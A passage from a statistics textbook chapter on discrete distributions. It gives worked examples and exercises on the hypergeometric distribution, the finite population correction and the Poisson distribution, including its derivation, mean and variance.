Practical Interpretation: Sampling without replacement is frequently used for inspection and the hypergeometric distribution simplifies the calculations.

The mean and variance of a hypergeometric random variable can be determined from the trials that comprise the experiment. However, the trials are not independent, and so the calculations are more difficult than for a binomial distribution. The results are stated as follows.

Mean and Variance

If X is a hypergeometric random variable with parameters N, K, and n, then

$$\mu = E(X) = np \qquad \text{and} \qquad \sigma^2 = V(X) = np(1 - p)\left(\frac{N - n}{N - 1}\right) \tag{3-14}$$

where $p = K/N$.

Here p is interpreted as the proportion of successes in the set of N objects.

EXAMPLE 3-28

In the previous example, the sample size is four. The random variable X is the number of parts in the sample from the local supplier. Then, $p = 100/300 = 1/3$. Therefore,

$$E(X) = 4(100/300) = 1.33$$

and

$$V(X) = 4(1/3)(2/3)[(300 - 4)/299] = 0.88$$

Figure 3-13
Comparison of hypergeometric and binomial distributions.

	0	1	2	3	4	5
Hypergeometric probability	0.025	0.149	0.326	0.326	0.149	0.025
Binomial probability	0.031	0.156	0.312	0.312	0.156	0.031

For a hypergeometric random variable, $E(X)$ is similar to the mean of a binomial random variable. Also, $V(X)$ differs from the result for a binomial random variable only by the term shown below.

Finite Population Correction Factor

The term in the variance of a hypergeometric random variable

$$\frac{N-n}{N-1} \tag{3-15}$$

is called the **finite population correction factor.**

Sampling with replacement is equivalent to sampling from an infinite set because the proportion of success remains constant for every trial in the experiment. As mentioned previously, if sampling were done with replacement, X would be a binomial random variable and its variance would be $np(1-p)$. Consequently, the finite population correction represents the correction to the binomial variance that results because the sampling is without replacement from the finite set of size N.

If n is small relative to N, the correction is small and the hypergeometric distribution is similar to the binomial. In this case, a binomial distribution can effectively approximate the distribution of the number of units of a specified type in the sample. A case is illustrated in Fig. 3-13.

EXAMPLE 3-29 Customer Sample

A listing of customer accounts at a large corporation contains 1000 customers. Of these, 700 have purchased at least one of the corporation's products in the last three months. To evaluate a new product design, 50 customers are sampled at random from the corporate listing. What is the probability that more than 45 of the sampled customers have purchased from the corporation in the last three months?

The sampling is without replacement. However, because the sample size of 50 is small relative to the number of customer accounts, 1000, the probability of selecting a customer who has purchased from the corporation in the last three months remains approximately constant as the customers are chosen.

For example, let A denote the event that the first customer selected has purchased from the corporation in the last three months, and let B denote the event that the second customer selected has purchased from the corporation in the last three months. Then, $P(A) = 700/1000 = 0.7$ and $P(B|A) = 699/999 = 0.6997$. That is, the trials are approximately independent.

Let X denote the number of customers in the sample who have purchased from the corporation in the last three months. Then, X is a hypergeometric random variable with $N = 1{,}000$, $n = 50$, and $K = 700$. Consequently, $p = K/N = 0.7$. The requested probability is $P(X > 45)$. Because the sample size is small relative to the batch size, the distribution of X can be approximated as binomial with $n = 50$ and $p = 0.7$. Using the binomial approximation to the distribution of X results in

$$P(X > 45) = \sum_{x=46}^{50} \binom{50}{x} 0.7^x (1 - 0.7)^{50-x} = 0.00017$$

The probability from the hypergeometric distribution is 0.00013, but this requires computer software. The result agrees well with the binomial approximation.

EXERCISES FOR SECTION 3-8

3-117. Suppose X has a hypergeometric distribution with $N = 100$, $n = 4$, and $K = 20$. Determine the following:
(a) $P(X = 1)$
(b) $P(X = 6)$
(c) $P(X = 4)$
(d) Determine the mean and variance of X.

3-118. Suppose X has a hypergeometric distribution with $N = 20$, $n = 4$, and $K = 4$. Determine the following:
(a) $P(X = 1)$
(b) $P(X = 4)$
(c) $P(X \leq 2)$
(d) Determine the mean and variance of X.

3-119. Suppose X has a hypergeometric distribution with $N = 10$, $n = 3$, and $K = 4$. Sketch the probability mass function of X. Determine the cumulative distribution function for X.

3-120. A batch contains 36 bacteria cells and 12 of the cells are not capable of cellular replication. Suppose you examine three bacteria cells selected at random, without replacement.
(a) What is the probability mass function of the number of cells in the sample that can replicate?
(b) What are the mean and variance of the number of cells in the sample that can replicate?
(c) What is the probability that at least one of the selected cells cannot replicate?

3-121. A company employs 800 men under the age of 55. Suppose that 30% carry a marker on the male chromosome that indicates an increased risk for high blood pressure.
(a) If 10 men in the company are tested for the marker in this chromosome, what is the probability that exactly one man has the marker?
(b) If 10 men in the company are tested for the marker in this chromosome, what is the probability that more than one has the marker?

3-122. Printed circuit cards are placed in a functional test after being populated with semiconductor chips. A lot contains 140 cards, and 20 are selected without replacement for functional testing.
(a) If 20 cards are defective, what is the probability that at least 1 defective card is in the sample?
(b) If 5 cards are defective, what is the probability that at least one defective card appears in the sample?

3-123. The analysis of results from a leaf transmutation experiment (turning a leaf into a petal) is summarized by type of transformation completed:

		Total Textural Transformation	
		Yes	No
Total Color	Yes	243	26
Transformation	No	13	18

A naturalist randomly selects three leaves from this set, without replacement. Determine the following probabilities.
(a) Exactly one has undergone both types of transformations.
(b) At least one has undergone both transformations.
(c) Exactly one has undergone one but not both transformations.
(d) At least one has undergone at least one transformation.

3-124. A state runs a lottery in which six numbers are randomly selected from 40, without replacement. A player chooses six numbers before the state's sample is selected.
(a) What is the probability that the six numbers chosen by a player match all six numbers in the state's sample?
(b) What is the probability that five of the six numbers chosen by a player appear in the state's sample?
(c) What is the probability that four of the six numbers chosen by a player appear in the state's sample?
(d) If a player enters one lottery each week, what is the expected number of weeks until a player matches all six numbers in the state's sample?

3-125. Magnetic tape is slit into half-inch widths that are wound into cartridges. A slitter assembly contains 48 blades. Five blades are selected at random and evaluated each day for sharpness. If any dull blade is found, the assembly is replaced with a newly sharpened set of blades.
(a) If 10 of the blades in an assembly are dull, what is the probability that the assembly is replaced the first day it is evaluated?
(b) If 10 of the blades in an assembly are dull, what is the probability that the assembly is not replaced until the third

day of evaluation? [*Hint:* Assume the daily decisions are independent, and use the geometric distribution.]

(c) Suppose on the first day of evaluation, two of the blades are dull; on the second day of evaluation, six are dull; and on the third day of evaluation, ten are dull. What is the probability that the assembly is not replaced until the third day of evaluation? [*Hint:* Assume the daily decisions are independent. However, the probability of replacement changes every day.]

3-126.

(a) Calculate the finite population corrections for Exercises 3-117 and 3-118. For which exercise should the binomial approximation to the distribution of X be better?

(b) For Exercise 3-117, calculate $P(X = 1)$ and $P(X = 4)$ assuming that X has a binomial distribution and compare these results to results derived from the hypergeometric distribution.

(c) For Exercise 3-118, calculate $P(X = 1)$ and $P(X = 4)$ assuming that X has a binomial distribution and compare these results to the results derived from the hypergeometric distribution.

(d) Use the binomial approximation to the hypergeometric distribution to approximate the probabilities in Exercise 3-122. What is the finite population correction in this exercise?

3-127. Consider the visits that result in leave without being seen (LWBS) at an emergency department in Example 2-8. Assume that four visits that result in LWBS are to be randomly selected (without replacement) for a follow-up interview.

(a) What is the probability that all selected visits are from Hospital 4?

(b) What is the probability that no selected visits are from Hospital 4?

(c) What is the probability that all selected visits are from the same hospital?

3-128. Consider the non-failed wells in Exercises 3-31. Assume that four wells are selected randomly (without replacement) for inspection.

(a) What is the probability that exactly two are selected from the Loch Raven Schist?

(b) What is the probability that one or more is selected from the Loch Raven Schist?

(c) What is the expected number selected from the Loch Raven Schist?

3-9 POISSON DISTRIBUTION

A widely-used distribution emerges as the number of trials in a binomial experiment increases to infinity while the mean of the distribution remains constant. Consider the following example.

EXAMPLE 3-30

Consider the transmission of n bits over a digital communication channel. Let the random variable X equal the number of bits in error. When the probability that a bit is in error is constant and the transmissions are independent, X has a binomial distribution. Let p denote the probability that a bit is in error. Let $\lambda = pn$. Then, $E(x) = pn = \lambda$ and

$$P(X = x) = \binom{n}{x} p^x (1-p)^{n-x} = \binom{n}{x}\left(\frac{\lambda}{n}\right)^x \left(1 - \frac{\lambda}{n}\right)^{n-x}$$

Now, suppose that the number of bits transmitted increases and the probability of an error decreases exactly enough that pn remains equal to a constant. That is, n increases and p decreases accordingly, such that $E(X) = \lambda$ remains constant. Then, with some work, it can be shown that

$$\binom{n}{x}\left(\frac{1}{n}\right)^x \to \frac{1}{x!} \qquad \left(1 - \frac{\lambda}{n}\right)^{-x} \to 1 \qquad \left(1 - \frac{\lambda}{n}\right)^{n} \to e^{-\lambda}$$

so that

$$\lim_{n\to\infty} P(X = x) = \frac{e^{-\lambda}\lambda^x}{x!}, \qquad x = 0, 1, 2, \ldots$$

Also, because the number of bits transmitted tends to infinity, the number of errors can equal any nonnegative integer. Therefore, the range of X is the integers from zero to infinity.

The distribution obtained as the limit in the previous example is more useful than the derivation implies. The following example illustrates the broader applicability.

EXAMPLE 3-31 Wire Flaws

Flaws occur at random along the length of a thin copper wire. Let X denote the random variable that counts the number of flaws in a length of L millimeters of wire and suppose that the average number of flaws in L millimeters is λ.

The probability distribution of X can be found by reasoning in a manner similar to the previous example. Partition the length of wire into n subintervals of small length, say, 1 micrometer each. If the subinterval chosen is small enough, the probability

that more than one flaw occurs in the subinterval is negligible. Furthermore, we can interpret the assumption that flaws occur at random to imply that every subinterval has the same probability of containing a flaw, say, p. Finally, if we assume that the probability that a subinterval contains a flaw is independent of other subintervals, we can model the distribution of X as approximately a binomial random variable. Because

$$E(X) = \lambda = np$$

we obtain

$$p = \lambda/n$$

That is, the probability that a subinterval contains a flaw is λ/n. With small enough subintervals, n is very large and p is very small. Therefore, the distribution of X is obtained as in the previous example.

Example 3-31 can be generalized to include a broad array of random experiments. The interval that was partitioned was a length of wire. However, the same reasoning can be applied to any interval, including an interval of time, an area, or a volume. For example, counts of (1) particles of contamination in semiconductor manufacturing, (2) flaws in rolls of textiles, (3) calls to a telephone exchange, (4) power outages, and (5) atomic particles emitted from a specimen have all been successfully modeled by the probability mass function in the following definition.

In general, consider an interval T of real numbers partitioned into subintervals of small length Δt and assume that as Δt tends to zero,

(1) the probability of more than one event in a subinterval tends to zero,
(2) the probability of one event in a subinterval tends to $\lambda \Delta t/T$,
(3) the event in each subinterval is independent of other subintervals.

A random experiment with these properties is called a **Poisson process**.

These assumptions imply that the subintervals can be thought of as approximate independent Bernoulli trials with success probability $p = \lambda \Delta t/T$ and the number of trials equal to $n = T/\Delta t$. Here, $pn = \lambda$, and as Δt tends to zero, n tends to infinity, so the similarity to the limit in Example 3-30 appears. This leads to the following definition.

Poisson Distribution

The random variable X that equals the number of events in a Poisson process is a **Poisson random variable** with parameter $0 < \lambda$, and the probability mass function of X is

$$f(x) = \frac{e^{-\lambda}\lambda^x}{x!} \qquad x = 0, 1, 2, \ldots \tag{3-16}$$

The sum of the probabilities is one because

$$\sum_{k=0}^{\infty} \frac{e^{-\lambda}\lambda^k}{k!} = e^{-\lambda} \sum_{k=0}^{\infty} \frac{\lambda^k}{k!}$$

and the summation on the right-hand side of the previous equation is recognized to be Taylor's expansion of e^x evaluated at λ. Therefore, the summation equals e^{λ} and the right-hand side equals $e^{-\lambda}e^{\lambda} = 1$.

Historically, the term *process* has been used to suggest the observation of a system over time. In our example with the copper wire, we showed that the Poisson distribution could also apply to intervals such as lengths. Figure 3-14 provides graphs of selected Poisson distributions.

It is important to **use consistent units** in the calculation of probabilities, means, and variances involving Poisson random variables. The following example illustrates unit conversions. For example, if the

average number of flaws per millimeter of wire is 3.4, then the
average number of flaws in 10 millimeters of wire is 34, and the
average number of flaws in 100 millimeters of wire is 340.

If a Poisson random variable represents the number of events in some interval, the mean of the random variable must equal the expected number of events in the same length of interval.

Figure 3-14 Poisson distributions for selected values of the parameters.

EXAMPLE 3-32 Calculations for Wire Flaws

For the case of the thin copper wire, suppose that the number of flaws follows a Poisson distribution with a mean of 2.3 flaws per millimeter. Determine the probability of exactly two flaws in 1 millimeter of wire.

Let X denote the number of flaws in 1 millimeter of wire. Then, $E(X) = 2.3$ flaws and

$$P(X = 2) = \frac{e^{-2.3}2.3^2}{2!} = 0.265$$

Determine the probability of 10 flaws in 5 millimeters of wire. Let X denote the number of flaws in 5 millimeters of wire. Then, X has a Poisson distribution with

$$E(X) = 5 \text{ mm} \times 2.3 \text{ flaws/mm} = 11.5 \text{ flaws}$$

Therefore,

$$P(X = 10) = e^{-11.5}\frac{11.5^{10}}{10!} = 0.113$$

Determine the probability of at least one flaw in 2 millimeters of wire. Let X denote the number of flaws in 2 millimeters of wire. Then, X has a Poisson distribution with

$$E(X) = 2 \text{ mm} \times 2.3 \text{ flaws/mm} = 4.6 \text{ flaws}$$

Therefore,

$$P(X \geq 1) = 1 - P(X = 0) = 1 - e^{-4.6} = 0.9899$$

Practical Interpretation: Notice that when a probability was requested for 2 mm of wire 2λ was adjusted to 4.6, the mean number of flaws in 2 mm. With such adjustments, probabilities can be calculated for intervals of any size.

EXAMPLE 3-33 CDs

Contamination is a problem in the manufacture of optical storage disks (CDs). The number of particles of contamination that occur on an optical disk has a Poisson distribution, and the average number of particles per centimeter squared of media surface is 0.1. The area of a disk under study is 100 squared centimeters. Find the probability that 12 particles occur in the area of a disk under study.

Let X denote the number of particles in the area of a disk under study. Because the mean number of particles is 0.1 particles per cm^2,

$$E(X) = 100 \text{ cm}^2 \times 0.1 \text{ particles/cm}^2 = 10 \text{ particles}$$

Therefore,

$$P(X = 12) = \frac{e^{-10}10^{12}}{12!} = 0.095$$

The probability that zero particles occur in the area of the disk under study is

$$P(X = 0) = e^{-10} = 4.54 \times 10^{-5}$$

Determine the probability that 12 or fewer particles occur in the area of the disk under study. The probability is

$$P(X \leq 12) = P(X = 0) + P(X = 1) + \cdots + P(X = 12)$$
$$= \sum_{i=0}^{12} \frac{e^{-10}10^i}{i!}$$

Because this sum is tedious to compute, many computer programs calculate cumulative Poisson probabilities. From one such program, $P(X \leq 12) = 0.792$.

The mean of a Poisson random variable is

$$\mu = \sum_{k=1}^{\infty} \frac{ke^{-\lambda}\lambda^k}{k!} = \lambda \sum_{k=1}^{\infty} \frac{e^{-\lambda}\lambda^{k-1}}{(k-1)!}$$

where the summation can start at $k = 1$ because the $k = 0$ term is zero. If a change of variable $j = k - 1$ is used, the summation on the right-hand side of the previous equation is recognized to be the sum of the probabilities of a Poisson random variable and this equals one. Therefore, the previous equation simplifies to $\mu = \lambda$ and the mean is derived.

To obtain the variance of a Poisson random variable we can start with $E(X^2)$, and this equals

$$E(X^2) = \sum_{k=1}^{\infty} \frac{k^2e^{-\lambda}\lambda^k}{k!} = \lambda \sum_{k=1}^{\infty} \frac{ke^{-\lambda}\lambda^{k-1}}{(k-1)!}$$

Write $k = (k - 1) + 1$ to obtain

$$E(X^2) = \lambda \sum_{k=1}^{\infty} \frac{(k-1)e^{-\lambda}\lambda^{k-1}}{(k-1)!} + \lambda \sum_{k=1}^{\infty} \frac{e^{-\lambda}\lambda^{k-1}}{(k-1)!}$$

The summation in the first term on the right-hand side of the previous equation is recognized to be the mean of X and this equals λ so that the first term is λ^2. The summation in the second term on the right-hand side is recognized to be the sum of the probabilities and this equals one. Therefore, the previous equation simplifies to $E(X^2) = \lambda^2 + \lambda$. Because the $V(X) = E(X^2) - (EX)^2$, we have

$$V(X) = \lambda^2 + \lambda - \lambda^2 = \lambda$$

and the variance is derived.

Mean and Variance

If X is a Poisson random variable with parameter λ, then

$$\mu = E(X) = \lambda \qquad \text{and} \qquad \sigma^2 = V(X) = \lambda \tag{3-17}$$

The mean and variance of a Poisson random variable are equal. For example, if particle counts follow a Poisson distribution with a mean of 25 particles per square centimeter, the variance is also 25 and the standard deviation of the counts is five per square centimeter. Consequently, information on the variability is very easily obtained. Conversely, if the variance of count data is much greater than the mean of the same data, the Poisson distribution is not a good model for the distribution of the random variable.

EXERCISES FOR SECTION 3-9

3-129. Suppose X has a Poisson distribution with a mean of 4. Determine the following probabilities:
(a) $P(X = 0)$ (b) $P(X \leq 2)$
(c) $P(X = 4)$ (d) $P(X = 8)$

3-130. Suppose X has a Poisson distribution with a mean of 0.4. Determine the following probabilities:
(a) $P(X = 0)$ (b) $P(X \leq 2)$
(c) $P(X = 4)$ (d) $P(X = 8)$

3-131. Suppose that the number of customers who enter a bank in an hour is a Poisson random variable, and suppose that $P(X = 0) = 0.05$. Determine the mean and variance of X.

3-132. The number of telephone calls that arrive at a phone exchange is often modeled as a Poisson random variable. Assume that on the average there are 10 calls per hour.
(a) What is the probability that there are exactly five calls in one hour?
(b) What is the probability that there are three or fewer calls in one hour?
(c) What is the probability that there are exactly 15 calls in two hours?
(d) What is the probability that there are exactly five calls in 30 minutes?

3-133. Astronomers treat the number of stars in a given volume of space as a Poisson random variable. The density in the Milky Way Galaxy in the vicinity of our solar system is one star per 16 cubic light-years.
(a) What is the probability of two or more stars in 16 cubic light-years?
(b) How many cubic light-years of space must be studied so that the probability of one or more stars exceeds 0.95?

3-134. Data from www.centralhudsonlabs determined the mean number of insect fragments in 225-gram chocolate bars was 14.4, but three brands had insect contamination more than twice the average. See the U.S. Food and Drug Administration–Center for Food Safety and Applied Nutrition for Defect Action Levels for food products. Assume the number of fragments (contaminants) follows a Poisson distribution.
(a) If you consume a 225-gram bar from a brand at the mean contamination level, what is the probability of no insect contaminants?

(b) Suppose you consume a bar that is one-fifth the size tested (45 grams) from a brand at the mean contamination level. What is the probability of no insect contaminants?
(c) If you consume seven 28.35-gram (one-ounce) bars this week from a brand at the mean contamination level, what is the probability that you consume one or more insect fragments in more than one bar?
(d) Is the probability of contamination more than twice the mean of 14.4 unusual, or can it be considered typical variation? Explain.

3-135. In 1898 L. J. Bortkiewicz published a book entitled *The Law of Small Numbers*. He used data collected over 20 years to show that the number of soldiers killed by horse kicks each year in each corps in the Prussian cavalry followed a Poisson distribution with a mean of 0.61.
(a) What is the probability of more than one death in a corps in a year?
(b) What is the probability of no deaths in a corps over five years?

3-136. The number of flaws in bolts of cloth in textile manufacturing is assumed to be Poisson distributed with a mean of 0.1 flaw per square meter.
(a) What is the probability that there are two flaws in 1 square meter of cloth?
(b) What is the probability that there is one flaw in 10 square meters of cloth?
(c) What is the probability that there are no flaws in 20 square meters of cloth?
(d) What is the probability that there are at least two flaws in 10 square meters of cloth?

3-137. When a computer disk manufacturer tests a disk, it writes to the disk and then tests it using a certifier. The certifier counts the number of missing pulses or errors. The number of errors on a test area on a disk has a Poisson distribution with $\lambda = 0.2$.
(a) What is the expected number of errors per test area?
(b) What percentage of test areas have two or fewer errors?

3-138. The number of cracks in a section of interstate highway that are significant enough to require repair is assumed to follow a Poisson distribution with a mean of two cracks per mile.
(a) What is the probability that there are no cracks that require repair in 5 miles of highway?
(b) What is the probability that at least one crack requires repair in 1/2 mile of highway?
(c) If the number of cracks is related to the vehicle load on the highway and some sections of the highway have a heavy load of vehicles whereas other sections carry a light load, how do you feel about the assumption of a Poisson distribution for the number of cracks that require repair?

3-139. The number of surface flaws in plastic panels used in the interior of automobiles has a Poisson distribution with a mean of 0.05 flaw per square foot of plastic panel. Assume an automobile interior contains 10 square feet of plastic panel.
(a) What is the probability that there are no surface flaws in an auto's interior?
(b) If 10 cars are sold to a rental company, what is the probability that none of the 10 cars has any surface flaws?
(c) If 10 cars are sold to a rental company, what is the probability that at most one car has any surface flaws?

3-140. The number of failures of a testing instrument from contamination particles on the product is a Poisson random variable with a mean of 0.02 failure per hour.
(a) What is the probability that the instrument does not fail in an eight-hour shift?
(b) What is the probability of at least one failure in a 24-hour day?

3-141. The number of content changes to a Web site follows a Poisson distribution with a mean of 0.25 per day.
(a) What is the probability of two or more changes in a day?
(b) What is the probability of no content changes in five days?
(c) What is the probability of two or fewer changes in five days?

3-142. The number of views of a page on a Web site follows a Poisson distribution with a mean of 1.5 per minute.
(a) What is the probability of no views in a minute?
(b) What is the probability of two or fewer views in 10 minutes?
(c) Does the answer to the previous part depend on whether the 10-minute period is an uninterrupted interval? Explain.

Supplemental Exercises

3-143. Let the random variable X be equally likely to assume any of the values $1/8$, $1/4$, or $3/8$. Determine the mean and variance of X.

3-144. Let X denote the number of bits received in error in a digital communication channel, and assume that X is a binomial random variable with $p = 0.001$. If 1000 bits are transmitted, determine the following:
(a) $P(X = 1)$ (b) $P(X \geq 1)$
(c) $P(X \leq 2)$ (d) mean and variance of X

3-145. Batches that consist of 50 coil springs from a production process are checked for conformance to customer requirements. The mean number of nonconforming coil springs in a batch is five. Assume that the number of nonconforming springs in a batch, denoted as X, is a binomial random variable.
(a) What are n and p?
(b) What is $P(X \leq 2)$?
(c) What is $P(X \geq 49)$?

3-146. An automated egg carton loader has a 1% probability of cracking an egg, and a customer will complain if more than one egg per dozen is cracked. Assume each egg load is an independent event.
(a) What is the distribution of cracked eggs per dozen? Include parameter values.
(b) What are the probability that a carton of a dozen eggs results in a complaint?

(c) What are the mean and standard deviation of the number of cracked eggs in a carton of one dozen?

3-147. A total of 12 cells are replicated. Freshly synthesized DNA cannot be replicated again until mitosis is completed. Two control mechanisms have been identified—one positive and one negative—that are used with equal probability. Assume that each cell independently uses a control mechanism. Determine the following probabilities.

(a) All cells use a positive control mechanism.
(b) Exactly half the cells use a positive control mechanism.
(c) More than four, but less than seven, cells use a positive control mechanism.

3-148. A congested computer network has a 1% chance of losing a data packet and packet losses are independent events. An e-mail message requires 100 packets.

(a) What is the distribution of data packets that must be re-sent? Include the parameter values.
(b) What is the probability that at least one packet must be re-sent?
(c) What is the probability that two or more packets must be re-sent?
(d) What are the mean and standard deviation of the number of packets that must be re-sent?
(e) If there are 10 messages and each contains 100 packets, what is the probability that at least one message requires that two or more packets be re-sent?

3-149. A particularly long traffic light on your morning commute is green 20% of the time that you approach it. Assume that each morning represents an independent trial.

(a) What is the probability that the first morning that the light is green is the fourth morning that you approach it?
(b) What is the probability that the light is not green for 10 consecutive mornings?

3-150. The probability is 0.6 that a calibration of a transducer in an electronic instrument conforms to specifications for the measurement system. Assume the calibration attempts are independent. What is the probability that at most three calibration attempts are required to meet the specifications for the measurement system?

3-151. An electronic scale in an automated filling operation stops the manufacturing line after three underweight packages are detected. Suppose that the probability of an underweight package is 0.001 and each fill is independent.

(a) What is the mean number of fills before the line is stopped?
(b) What is the standard deviation of the number of fills before the line is stopped?

3-152. The probability that an eagle kills a jackrabbit in a day of hunting is 10%. Assume that results are independent between days.

(a) What is the distribution of the number of days until a successful jackrabbit hunt?
(b) What is the probability that the eagle must wait five days for its first successful hunt?
(c) What is the expected number of days until a successful hunt?
(d) If the eagle can survive up to 10 days without food (it requires a successful hunt on the tenth day), what is the probability that the eagle is still alive 10 days from now?

3-153. Traffic flow is traditionally modeled as a Poisson distribution. A traffic engineer monitors the traffic flowing through an intersection with an average of six cars per minute. To set the timing of a traffic signal, the following probabilities are used.

(a) What is the probability of no cars through the intersection within 30 seconds?
(b) What is the probability of three or more cars through the intersection within 30 seconds?
(c) Calculate the minimum number of cars through the intersection so that the probability of this number or fewer cars in 30 seconds is at least 90%.
(d) If the variance of the number of cars through the intersection per minute is 20, is the Poisson distribution appropriate? Explain.

3-154. A shipment of chemicals arrives in 15 totes. Three of the totes are selected at random, without replacement, for an inspection of purity. If two of the totes do not conform to purity requirements, what is the probability that at least one of the nonconforming totes is selected in the sample?

3-155. The probability that your call to a service line is answered in less than 30 seconds is 0.75. Assume that your calls are independent.

(a) If you call 10 times, what is the probability that exactly nine of your calls are answered within 30 seconds?
(b) If you call 20 times, what is the probability that at least 16 calls are answered in less than 30 seconds?
(c) If you call 20 times, what is the mean number of calls that are answered in less than 30 seconds?

3-156. Continuation of Exercise 3-155.

(a) What is the probability that you must call four times to obtain the first answer in less than 30 seconds?
(b) What is the mean number of calls until you are answered in less than 30 seconds?

3-157. Continuation of Exercise 3-155.

(a) What is the probability that you must call six times in order for two of your calls to be answered in less than 30 seconds?
(b) What is the mean number of calls to obtain two answers in less than 30 seconds?

3-158. The number of messages sent to a computer bulletin board is a Poisson random variable with a mean of five messages per hour.

(a) What is the probability that five messages are received in 1 hour?
(b) What is the probability that 10 messages are received in 1.5 hours?
(c) What is the probability that less than two messages are received in one-half hour?

3-159. A Web site is operated by four identical computer servers. Only one is used to operate the site; the others are spares that can be activated in case the active server fails. The probability that a request to the Web site generates a failure in the active server is 0.0001. Assume that each request is an independent trial. What is the mean time until failure of all four computers?

3-160. The number of errors in a textbook follows a Poisson distribution with a mean of 0.01 error per page. What is the probability that there are three or less errors in 100 pages?

3-161. The probability that an individual recovers from an illness in a one-week time period without treatment is 0.1. Suppose that 20 independent individuals suffering from this illness are treated with a drug and four recover in a one-week time period. If the drug has no effect, what is the probability that four or more people recover in a one-week time period?

3-162. Patient response to a generic drug to control pain is scored on a 5-point scale, where a 5 indicates complete relief. Historically, the distribution of scores is

1	2	3	4	5
0.05	0.1	0.2	0.25	0.4

Two patients, assumed to be independent, are each scored.
(a) What is the probability mass function of the total score?
(b) What is the probability mass function of the average score?

3-163. In a manufacturing process that laminates several ceramic layers, 1% of the assemblies are defective. Assume that the assemblies are independent.
(a) What is the mean number of assemblies that need to be checked to obtain five defective assemblies?
(b) What is the standard deviation of the number of assemblies that need to be checked to obtain five defective assemblies?

3-164. Continuation of Exercise 3-163. Determine the minimum number of assemblies that need to be checked so that the probability of at least one defective assembly exceeds 0.95.

3-165. Determine the constant c so that the following function is a probability mass function: $f(x) = cx$ for $x = 1, 2, 3, 4$.

3-166. A manufacturer of a consumer electronics product expects 2% of units to fail during the warranty period. A sample of 500 independent units is tracked for warranty performance.
(a) What is the probability that none fails during the warranty period?
(b) What is the expected number of failures during the warranty period?
(c) What is the probability that more than two units fail during the warranty period?

3-167. Messages that arrive at a service center for an information systems manufacturer have been classified on the basis of the number of keywords (used to help route messages) and the type of message, either e-mail or voice. Also, 70% of the messages arrive via e-mail and the rest are voice.

number of keywords	0	1	2	3	4
e-mail	0.1	0.1	0.2	0.4	0.2
voice	0.3	0.4	0.2	0.1	0

Determine the probability mass function of the number of keywords in a message.

3-168. The random variable X has the following probability distribution:

x	2	3	5	8
probability	0.2	0.4	0.3	0.1

Determine the following:
(a) $P(X \le 3)$ (b) $P(X > 2.5)$
(c) $P(2.7 < X < 5.1)$ (d) $E(X)$
(e) $V(X)$

3-169. Determine the probability mass function for the random variable with the following cumulative distribution function:

$$F(x) = \begin{cases} 0 & x < 2 \\ 0.2 & 2 \le x < 5.7 \\ 0.5 & 5.7 \le x < 6.5 \\ 0.8 & 6.5 \le x < 8.5 \\ 1 & 8.5 \le x \end{cases}$$

3-170. Each main bearing cap in an engine contains four bolts. The bolts are selected at random, without replacement, from a parts bin that contains 30 bolts from one supplier and 70 bolts from another.
(a) What is the probability that a main bearing cap contains all bolts from the same supplier?
(b) What is the probability that exactly three bolts are from the same supplier?

3-171. Assume the number of errors along a magnetic recording surface is a Poisson random variable with a mean of one error every 10^5 bits. A sector of data consists of 4096 eight-bit bytes.
(a) What is the probability of more than one error in a sector?
(b) What is the mean number of sectors until an error is found?

3-172. An installation technician for a specialized communication system is dispatched to a city only when three or more orders have been placed. Suppose orders follow a Poisson distribution with a mean of 0.25 per week for a city with a population of 100,000, and suppose your city contains a population of 800,000.

(a) What is the probability that a technician is required after a one-week period?
(b) If you are the first one in the city to place an order, what is the probability that you have to wait more than two weeks from the time you place your order until a technician is dispatched?

3-173. From 500 customers, a major appliance manufacturer will randomly select a sample without replacement. The company estimates that 25% of the customers will provide useful data. If this estimate is correct, what is the probability mass function of the number of customers that will provide useful data?
(a) Assume that the company samples five customers.
(b) Assume that the company samples 10 customers.

3-174. It is suspected that some of the totes containing chemicals purchased from a supplier exceed the moisture content target. Samples from 30 totes are to be tested for moisture content. Assume that the totes are independent. Determine the proportion of totes from the supplier that must exceed the moisture content target so that the probability is 0.90 that at least one tote in the sample of 30 fails the test.

3-175. Messages arrive to a computer server according to a Poisson distribution with a mean rate of 10 per hour. Determine the length of an interval of time such that the probability that no messages arrive during this interval is 0.90.

3-176. Flaws occur in the interior of plastic used for automobiles according to a Poisson distribution with a mean of 0.02 flaw per panel.
(a) If 50 panels are inspected, what is the probability that there are no flaws?
(b) What is the expected number of panels that need to be inspected before a flaw is found?
(c) If 50 panels are inspected, what is the probability that the number of panels that have one or more flaws is less than or equal to 2?

MIND-EXPANDING EXERCISES

3-177. Derive the convergence results used to obtain a Poisson distribution as the limit of a binomial distribution.

3-178. Show that the function $f(x)$ in Example 3-5 satisfies the properties of a probability mass function by summing the infinite series.

3-179. Derive the formula for the mean and standard deviation of a discrete uniform random variable over the range of integers $a, a + 1, \ldots, b$.

3-180. Derive the expression for the variance of a geometric random variable with parameter p.

3-181. An air flight can carry 120 passengers. A passenger with a reserved seat arrives for the flight with probability 0.95 Assume the passengers behave independently. (Computer software is expected.)
(a) What is the minimum number of seats the airline should reserve for the probability of a full flight to be at least 0.90?
(b) What is the maximum number of seats the airline should reserve for the probability that more passengers arrive than the flight can seat to be less than 0.10?
(c) Discuss some reasonable policies the airline could use to reserve seats based on these probabilities.

3-182. A company performs inspection on shipments from suppliers in order to defect nonconforming products. Assume a lot contains 1000 items and 1% are nonconforming. What sample size is needed so that the probability of choosing at least one nonconforming item in the sample is at least 0.90? Assume the binomial approximation to the hypergeometric distribution is adequate.

3-183. A company performs inspection on shipments from suppliers in order to detect nonconforming products. The company's policy is to use a sample size that is always 10% of the lot size. Comment on the effectiveness of this policy as a general rule for all sizes of lots.

3-184. A manufacturer stocks components obtained from a supplier. Suppose that 2% of the components are defective and that the defective components occur independently. How many components must the manufacturer have in stock so that the probability that 100 orders can be completed without reordering components is at least 0.95?

3-185. A large bakery can produce rolls in lots of either 0, 1000, 2000, or 3000 per day. The production cost per item is \$0.10. The demand varies randomly according to the following distribution:

demand for rolls	0	1000	2000	3000
probability of demand	0.3	0.2	0.3	0.2

Every roll for which there is a demand is sold for \$0.30. Every roll for which there is no demand is sold in a secondary market for \$0.05. How many rolls should the bakery produce each day to maximize the mean profit?

IMPORTANT TERMS AND CONCEPTS

Bernoulli trial
Binomial distribution
Cumulative probability distribution function-discrete random variable
Discrete uniform distribution
Expected value of a function of a random variable
Finite population correction factor
Geometric distribution
Hypergeometric distribution
Lack of memory property-discrete random variable
Mean-discrete random variable
Mean-function of a discrete random variable
Negative binomial distribution
Poisson distribution
Poisson process
Probability distribution-discrete random variable
Probability mass function
Standard deviation-discrete random variable
Variance-discrete random variable

4

© Wolfgang Amri/
iStockphoto

